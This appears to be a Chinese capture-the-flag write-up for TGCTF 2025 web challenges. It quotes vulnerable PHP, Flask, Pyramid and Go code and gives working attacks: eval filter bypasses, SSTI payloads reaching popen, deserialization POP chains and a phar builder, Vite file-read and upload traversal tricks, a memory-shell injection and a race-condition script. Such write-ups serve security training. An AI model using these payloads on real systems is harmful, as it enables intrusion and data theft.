AAA偷渡阴平#
web签到1。简单的PHP特性,我的waf无懈可击!(bushi
<?php
$tgctf2025=$_GET['tgctf2025'];
if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}
highlight_file(__FILE__);考虑无参

?tgctf2025=eval(current(getallheaders()));

或者
?tgctf2025=eval(array_pop(next(get_defined_vars())));
POST:1=system('tac /flag');AAA偷渡阴平(复仇)#
ban了无参RCE,思考别的方法。
<?php
$tgctf2025=$_GET['tgctf2025'];
if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|echo|readfile|highlight|show|source|file|assert/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}
highlight_file(__FILE__);没有过滤session
session_start();system(hex2bin(session_id()));
直面天命#
hint: 有一个由4个小写英文字母组成的路由,去那里看看吧,天命人!
写个字典爆破
import itertools
import string
import requests
from tqdm import tqdm
url = "http://127.0.0.1:53593/"
for i in tqdm(itertools.product(string.ascii_lowercase, repeat=4)):
a = ''.join(i)
payload = url + a
response = requests.get(payload)
if response.status_code == 200:
print(a)
break得到aazz
<!-- 狂风之中,恍惚之时,只听闻断续传来: ...参...数......?(本页面可以传参) -->
爆破参数 ffuf arjun burp都行
/aazz?filename=/flag直面天命(复仇)#
逃不脱,就带上金箍吧,重走一次西行路
(听说黄风大王戏份太多,我拿定风珠定住他了)
(原路由文件读取功能修改为源码展示)
<pre>import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key
app = Flask(__name__)
black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
for x in black_list:
if x in name.lower():
return True
return False
def is_typable(char):
# 定义可通过标准 QWERTY 键盘输入的字符集
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars
@app.route('/')
def home():
return send_from_directory('static', 'index.html')
@app.route('/jingu', methods=['POST'])
def greet():
template1=""
template2=""
name = request.form.get('name')
template = f'{name}'
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹<br><img src="{{ url_for("static", filename="3.jpeg") }}" alt="Image">'
else:
k=0
for i in name:
if is_typable(i):
continue
k=1
break
if k==1:
if not (secret_key[:2] in name and secret_key[2:]):
template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧<br><br>再去西行历练历练<br><br><img src="{{ url_for("static", filename="4.jpeg") }}" alt="Image">'
return render_template_string(template)
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”<br>最后,如果你用了cat,就可以见到齐天大圣了<br>"
template= template.replace("天命","{{").replace("难违","}}")
template = template
if "cat" in template:
template2 = '<br>或许你这只叫天命人的猴子,真的能做到?<br><br><img src="{{ url_for("static", filename="2.jpeg") }}" alt="Image">'
try:
return template1+render_template_string(template)+render_template_string(template2)
except Exception as e:
error_message = f"500报错了,查询语句如下:<br>{template}"
return error_message, 400
@app.route('/hint', methods=['GET'])
def hinter():
template="hint:<br>有一个aazz路由,去那里看看吧,天命人!"
return render_template_string(template)
@app.route('/aazz', methods=['GET'])
def finder():
with open(__file__, 'r') as f:
source_code = f.read()
return f"<pre>{source_code}</pre>", 200, {'Content-Type': 'text/html; charset=utf-8'}
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)</pre>关键部分


简单ssti
八进制orUnicode
{{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('whoami').read()}}name=天命''['\u005F\u005F\u0063\u006C\u0061\u0073\u0073\u005F\u005F']['\u005F\u005F\u006D\u0072\u006F\u005F\u005F'][1]['\u005F\u005F\u0073\u0075\u0062\u0063\u006C\u0061\u0073\u0073\u0065\u0073\u005F\u005F']()[132]['\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F']['\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F']['\u0070\u006F\u0070\u0065\u006E']('nl /tgffff11111aaaaggggggg?')['\u0072\u0065\u0061\u0064']()难违
什么文件上传?#
听说有个黑客在这个文件上传里面加料了?
User-Agent: *
Disallow: /admin/
Disallow: /private/
Disallow: /baidu
Disallow: /s?
Disallow: /unlink
Disallow: /phar
Disallow: !@*($^&*!@^&!*(@$# <--!文件上传后缀是三个小写字母 !@#$*&^(!%@#$#^&!-->
Disallow: /class.phpclass.php
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}
}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64_decode($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>构造pop链
<?php
class yesterday {
public $learn;
public $study="study"; //链头
}
class today {
public $doing; //3 tommorow
public $did;
public $done;
}
class tommoraw {
public $good; //2 future
public $bad;
}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
}
$a = new yesterday();
$a -> study = new today();
$a -> study -> doing = new future();
echo base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(serialize($a))))));
?>
什么文件上传?(复仇)#
题目描述请看【web】什么文件上传? (plz再非我一次^ ^)
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_encode(md5(base64_encode(md5($str))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}
}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>爆破出三个字母的后缀

exp同上
<?php
class yesterday {
public $learn;
public $study="study"; //链头
}
class today {
public $doing; //3 tommorow
public $did;
public $done;
}
class tommoraw {
public $good; //2 future
public $bad;
}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
}
$a = new yesterday();
$a -> study = new today();
$a -> study -> doing = new future();
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
前端GAME/Plus#
非常适合新生的前端小游戏,真的吗。
POC/wpoc/Vite开发服务器/Vite开发服务器任意文件读取漏洞(CVE-2025-30208).md at main · eeeeeeeeee-code/POC

结合提示flag位置读取即可


前端GAME ultra#
server.fs.deny bypassed with an invalid request-target · Advisory · vitejs/vite

绕过app限制
/@fs/app#/../tgflagggg(ez)upload#
简单的文件上传
源码泄露
<?php
define('UPLOAD_PATH', __DIR__ . '/uploads/');
$is_upload = false;
$msg = null;
$status_code = 200; // 默认状态码为 200
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");
if (isset($_GET['name'])) {
$file_name = $_GET['name'];
} else {
$file_name = basename($_FILES['name']['name']);
}
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['name']['tmp_name'];
$file_content = file_get_contents($temp_file);
if (preg_match('/.+?</s', $file_content)) {
$msg = '文件内容包含非法字符,禁止上传!';
$status_code = 403; // 403 表示禁止访问
} else {
$img_path = UPLOAD_PATH . $file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
$msg = '文件上传成功!';
} else {
$msg = '上传出错!';
$status_code = 500; // 500 表示服务器内部错误
}
}
} else {
$msg = '禁止保存为该类型文件!';
$status_code = 403; // 403 表示禁止访问
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
$status_code = 404; // 404 表示资源未找到
}
}
// 设置 HTTP 状态码
http_response_code($status_code);
// 输出结果
echo json_encode([
'status_code' => $status_code,
'msg' => $msg,
]);注意这句话

文件名可以覆盖,由于uploads目录是被限制了,所以通过../目录穿越到web目录


火眼辩魑魅#
shell学姐会让青春CTF少年脸红吗?
<?php
$shell=$_POST["shell"];
{
eval($shell);
}
?>十六进制绕过
shell="\x73\x79\x73\x74\x65\x6d"("nl /tgfffffllllaagggggg");
直接蚁剑连也可以
TG_wordpress#
本题可能无法继续解题
本题在赛时为出题人自行部署,赛后归档之后原题目环境可能不再可用,请参考主办方开源仓库自行搭建复现环境。
请不要向我们汇报此题环境无法访问!
WARN:后台管理请勿做任何修改的操作!
flag形式是TGCTF{CVE编号}
题目地址:http://101.37.149.223:33376/
(访问人数过多时,需等待服务器重启,可以先看其他题!)
TG_wordpress,wordpress中的战斗机!
hint1:如果账号密码存在于xml文件中,&会被转义为&,输入账密请用&
(若扫描器无法使用,请等待服务器访问人数减少,或者花费50pts购买hint)

TGCTF{CVE-2020-25213}TGCTF 2025 后台管理#
TeamGipsy队员不小心泄露了本届TGCTF的后台管理地址,还好管理员账户有强密码保护,暂时未造成威胁。 初始账号密码:tg/tg123 靶机地址:http://124.71.147.99:9045/ (禁止使用扫描器)
环境没了 没法看题了呜呜
熟悉的配方,熟悉的味道#
简单的本地计算器,进行了严格安全验证,包严格的。
from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader
eval_globals = { #防止eval执行恶意代码
'__builtins__': {}, # 禁用所有内置函数
'__import__': None # 禁止动态导入
}
def checkExpr(expr_input):
expr = re.split(r"[-+*/]", expr_input)
print(exec(expr_input))
if len(expr) != 2:
return 0
try:
int(expr[0])
int(expr[1])
except:
return 0
return 1
def home_view(request):
expr_input = ""
result = ""
if request.method == 'POST':
expr_input = request.POST['expr']
if checkExpr(expr_input):
try:
result = eval(expr_input, eval_globals)
except Exception as e:
result = e
else:
result = "爬!"
template_str = 【xxx】
env = Environment(loader=BaseLoader())
template = env.from_string(template_str)
rendered = template.render(expr_input=expr_input, result=result)
return Response(rendered)
if __name__ == '__main__':
with Configurator() as config:
config.add_route('home_view', '/')
config.add_view(home_view, route_name='home_view')
app = config.make_wsgi_app()
server = make_server('0.0.0.0', 9040, app)
server.serve_forever()import requests
url = "http://127.0.0.1:57275/"
exp = """
def waff():
def f():
yield g.gi_frame.f_back
g = f()
frame = next(g)
b = frame.f_back.f_back.f_globals
def hello(request):
code = request.POST['code']
res = eval(code)
return Response(res)
b['config'].add_route('yiyi', '/yiyi')
b['config'].add_view(hello, route_name='yiyi')
b['config'].commit()
waff()
"""
data = {
'expr': f'{exp}+1'
}
res = requests.post(url, data=data)
print(res.status_code)打内存马
http://127.0.0.1:57275/yiyipost
code=__import__('os').popen('ls /').read()
老登,炸鱼来了?#
俺就一出题的,俺啥也不知道阿,俺以为是炸鱼老登呢,俺们都在用力的活着,你和gets将军说去吧。(需要让子弹飞一会)
hint1 :safe参数——2025-04-12 23:44 hint2 :竞争的思路是对的,但是脚本需要斟酌——2025-04-13 18:12
package main
import (
"fmt"
"io"
"log"
"net/http"
"os"
"path/filepath"
"strings"
"text/template"
"time"
)
type Note struct {
Name string
ModTime string
Size int64
IsMarkdown bool
}
var templates = template.Must(template.ParseGlob("templates/*"))
type PageData struct {
Notes []Note
Error string
}
func blackJack(path string) error {
if strings.Contains(path, "..") || strings.Contains(path, "/") || strings.Contains(path, "flag") {
return fmt.Errorf("非法路径")
}
return nil
}
func renderTemplate(w http.ResponseWriter, tmpl string, data interface{}) {
safe := templates.ExecuteTemplate(w, tmpl, data)
if safe != nil {
http.Error(w, safe.Error(), http.StatusInternalServerError)
}
}
func renderError(w http.ResponseWriter, message string, code int) {
w.WriteHeader(code)
templates.ExecuteTemplate(w, "error.html", map[string]interface{}{
"Code": code,
"Message": message,
})
}
func main() {
os.Mkdir("notes", 0755)
safe := blackJack("/flag") //错误示范,return fmt.Errorf("非法路径")
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
files, safe := os.ReadDir("notes")
if safe != nil {
renderError(w, "无法读取目录", http.StatusInternalServerError)
return
}
var notes []Note
for _, f := range files {
if f.IsDir() {
continue
}
info, _ := f.Info()
notes = append(notes, Note{
Name: f.Name(),
ModTime: info.ModTime().Format("2006-01-02 15:04"),
Size: info.Size(),
IsMarkdown: strings.HasSuffix(f.Name(), ".md"),
})
}
renderTemplate(w, "index.html", PageData{Notes: notes})
})
http.HandleFunc("/read", func(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("name")
if safe = blackJack(name); safe != nil {
renderError(w, safe.Error(), http.StatusBadRequest)
return
}
file, safe := os.Open(filepath.Join("notes", name))
if safe != nil {
renderError(w, "文件不存在", http.StatusNotFound)
return
}
data, safe := io.ReadAll(io.LimitReader(file, 10240))
if safe != nil {
renderError(w, "读取失败", http.StatusInternalServerError)
return
}
if strings.HasSuffix(name, ".md") {
w.Header().Set("Content-Type", "text/html")
fmt.Fprintf(w, `<html><head><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css"></head><body class="markdown-body">%s</body></html>`, data)
} else {
w.Header().Set("Content-Type", "text/plain")
w.Write(data)
}
})
http.HandleFunc("/write", func(w http.ResponseWriter, r *http.Request) {
if r.Method != "POST" {
renderError(w, "方法不允许", http.StatusMethodNotAllowed)
return
}
name := r.FormValue("name")
content := r.FormValue("content")
if safe = blackJack(name); safe != nil {
renderError(w, safe.Error(), http.StatusBadRequest)
return
}
if r.FormValue("format") == "markdown" && !strings.HasSuffix(name, ".md") {
name += ".md"
} else {
name += ".txt"
}
if len(content) > 10240 {
content = content[:10240]
}
safe := os.WriteFile(filepath.Join("notes", name), []byte(content), 0600)
if safe != nil {
renderError(w, "保存失败", http.StatusInternalServerError)
return
}
http.Redirect(w, r, "/", http.StatusSeeOther)
})
http.HandleFunc("/delete", func(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("name")
if safe = blackJack(name); safe != nil {
renderError(w, safe.Error(), http.StatusBadRequest)
return
}
safe := os.Remove(filepath.Join("notes", name))
if safe != nil {
renderError(w, "删除失败", http.StatusInternalServerError)
return
}
http.Redirect(w, r, "/", http.StatusSeeOther)
})
// 静态文件服务
http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir("static"))))
srv := &http.Server{
Addr: ":9046",
ReadTimeout: 10 * time.Second,
WriteTimeout: 15 * time.Second,
}
log.Fatal(srv.ListenAndServe())
}import requests
import threading
import time
TARGET = "http://127.0.0.1:58201/"
success = False
start_time = 0
def attack():
global success
while not success:
try:
resp = requests.get(TARGET+"read?name=../../../../flag")
except Exception as err:
#print(err)
continue
if "TGCTF{" in resp.text:
print("[+] 成功读取flag:", resp.text)
print("[+] 用时", time.time()-start_time)
success = True
elif "非法路径" not in resp.text:
print("[+] 竞争成功,结果为", resp.text)
def interference():
while not success:
# 发送合法请求冲刷safe变量
try:
requests.get(TARGET+"read?name=1.txt")
except Exception as err:
#print(err)
continue
print("开始...")
start_time = time.time()
for _ in range(100):
threading.Thread(target=attack).start()
for _ in range(5000):
threading.Thread(target=interference).start()
print("线程创建完毕")来自